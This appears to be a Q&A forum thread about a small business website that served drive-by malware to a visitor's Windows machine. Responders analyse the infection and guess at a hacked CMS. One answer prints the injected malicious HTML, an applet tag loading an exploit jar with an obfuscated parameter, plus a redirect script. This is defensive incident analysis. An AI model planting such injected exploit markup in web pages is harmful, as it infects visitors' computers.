2

I made my friend go to this web site and it immediately infected his machine with malware (AntiVirus SecurityPro). It happened just by going to the front page. It seemed the malware started up, but that Microsoft Security Essentials quickly recognized it and offered to remove it. It took several reboots before it was fully removed. We actually tried the whole thing again and it happened again with this specific web site.

I would like to warn the owner of the page, and I'm also curious, so I've tried reproducing it in a VM, but to no avail. I don't get the same behavior and no infection as far as I can tell.

His machine is a Windows 7SP1 and he was using IE and of course that's what I tried to use in the VM, but it didn't work. I'm suspecting it may be dependent on some special plug-in on his machine, maybe an outdated version of flash. But if I inspect the contents on Chrome, using the developer console, I don't see the page taking any flash in. But it could be this only happens if the server side recognizes that the client is vulnerable. Can anyone recommend a good web site scanner?

The URL is as follows. You need to replace XX in the below by dk - I did this so as to prevent people who inadvertently click it from infection:

[WARNING MALWARE]http://www.alliance-trafikskole.XX/

Thank you in advance.

Improve this question
2
  • 4
    Some smart viruses and malware will detect they are being run inside a virtual environment and hide their malicious intent.
    – Jeff
    Sep 8, 2013 at 8:29
  • 2
    jeff, the exploit actually has to happen for the malware to be able to detect that it's inside a vm. the drive-by-download on the server-side seems to hide (or is cleaned already). on my first attempt i saw this malicious redirect, on my second try it was gone. recent http-based kernel/apache/nginx-backdoors showed interesting things like infecting each client only once, no drive-by when the client-ip was logged in via ssh etc, far beyond malware that tries to avoid beeing detected by goolge/crawlers
    – that guy from over there
    Sep 8, 2013 at 12:02

1 Answer 1

Reset to default
4

You can see it when browsing from the console; nevertheless I found this malware is hiding somehow; while checking with some known scanners, like sucuri, nothing is found. If you are the owner of this website I'd check the sourcecode.

The malware: it is found in the beginning of the link/file and looks like a drive-by-exploit; see this pastebin for more information.

I checked the corresponding link and it looks like a java-exploit

<p><applet  archive="IbFGkXLx.jar"  code="GPCwolGqNI.class"  width="24"  height="8">
<param value="65LLRIZ-68LLRYZ-68LLRIZ-64LLRYZ-5aLLRIZ-6fLLRYZ-68LLRIZ-62LLRYZ-5dLLRIZ-5eLLRYZ-5dLLRIZ-27LLRYZ-5bLLRIZ-62LLRYZ-73LLRIZ-33LLRYZ-30LLRIZ-30LLRYZ-2fLLRIZ-2aLLRYZ-28LLRIZ-70LLRYZ-62LLRIZ-67LLRYZ-5dLLRIZ-68LLRYZ-70LLRIZ-6cLLRYZ-27LLRIZ-69LLRYZ-61LLRIZ-69LLRYZ-38LLRIZ-66LLRYZ-5eLLRIZ-5dLLRYZ-62LLRIZ-5aLLRYZ-36LLRIZ-31LLRYZ-1fLLRIZ-5dLLRYZ-5eLLRIZ-66LLRYZ-68LLRIZ-36LLRYZ-2dLLRIZ-31LLRYZ-32LLRIZ-1fLLRYZ-5eLLRIZ-5dLLRYZ-62LLRIZ-6dLLRYZ-68LLRIZ-6bLLRYZ-62LLRIZ-5aLLRYZ-65LLRIZ-36LLRYZ-2dLLRIZ-1fLLRYZ-67LLRIZ-5eLLRYZ-70LLRIZ-6cLLRYZ-36LLRIZ-2eLLRYZ-2aLLRIZ-2cLLRYZ-1fLLRIZ-5cLLRYZ-5aLLRIZ-66LLRYZ-69LLRIZ-5aLLRYZ-62LLRIZ-60LLRYZ-67LLRIZ-36LLRYZ-2aLLRIZ-30LLRYZ-2aLLRIZ-1fLLRYZ-5aLLRIZ-69LLRYZ-69LLRIZ-6cLLRYZ-36LLRIZ-2eLLRYZ-32LLRIZ-1fLLRYZ-6cLLRIZ-64LLRYZ-62LLRIZ-67LLRYZ-36LLRIZ-2fLLRYZ-2eLLRIZ-2eLLRYZ-1fLLRIZ-69LLRYZ-5aLLRIZ-60LLRYZ-5eLLRIZ-36LLRYZ-30LLRIZ-2bLLRYZ-32LLRIZ-1fLLRYZ-60LLRIZ-5aLLRYZ-66LLRIZ-5eLLRYZ-36LLRIZ-2cLLRYZ-29LLRIZ-2fLLRYZ-" name="WaKnezleM" />

How did it get there

.. well, Joomla ....

10:40 UTC:

The malicious IFrame is gone from traficskole; it's either cleaned or the malware is somewhat "intelligent".

This is interesting; when checking given itunes.php right now I get the following stuff back:

<html><script>location.replace("http:a.com");</script></html>
Improve this answer
4
  • schroeder: Thanks for looking at this. No I don't owe the web site, just using it. And I'm of course interested in warning them about the virus, but also interested in knowing how it ended up there. So I'm happy you could confirm it but strange that it suddenly went away! But I also haven't had luck with URL scanners and I didn't see the applet in the dev. console when I visited myself?! You mention Joomla, so do you mean their CMS could have been hacked?
    – Morty
    Sep 8, 2013 at 21:04
  • answer was by me :) (but thanx @schroeder for correcting some typos) maybe the malicious iframe is gone because the guys cleaned up their docroot? if not, maybe some nasty kernel-rootkit? they seem to be able to hide before scanners/crawlers and also check, if a given ip already connected or if the target might be vulnerable or not. regarding joomla: there are some more virtualservers on that ip, so maybe it was some other cms/software.
    – that guy from over there
    Sep 8, 2013 at 21:43
  • ah sorry and thanks for the answer. Do you think it looks like those who have the web page set it up this way on purpose, or is it more likely it's the web site/server that was infected?
    – Morty
    Sep 9, 2013 at 5:09
  • i think it is more likely an infection, but without looking at the server and docroot itself, no way to say for sure. there are too much possibilities. regarding joomla: latest | problem
    – that guy from over there
    Sep 9, 2013 at 7:04

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .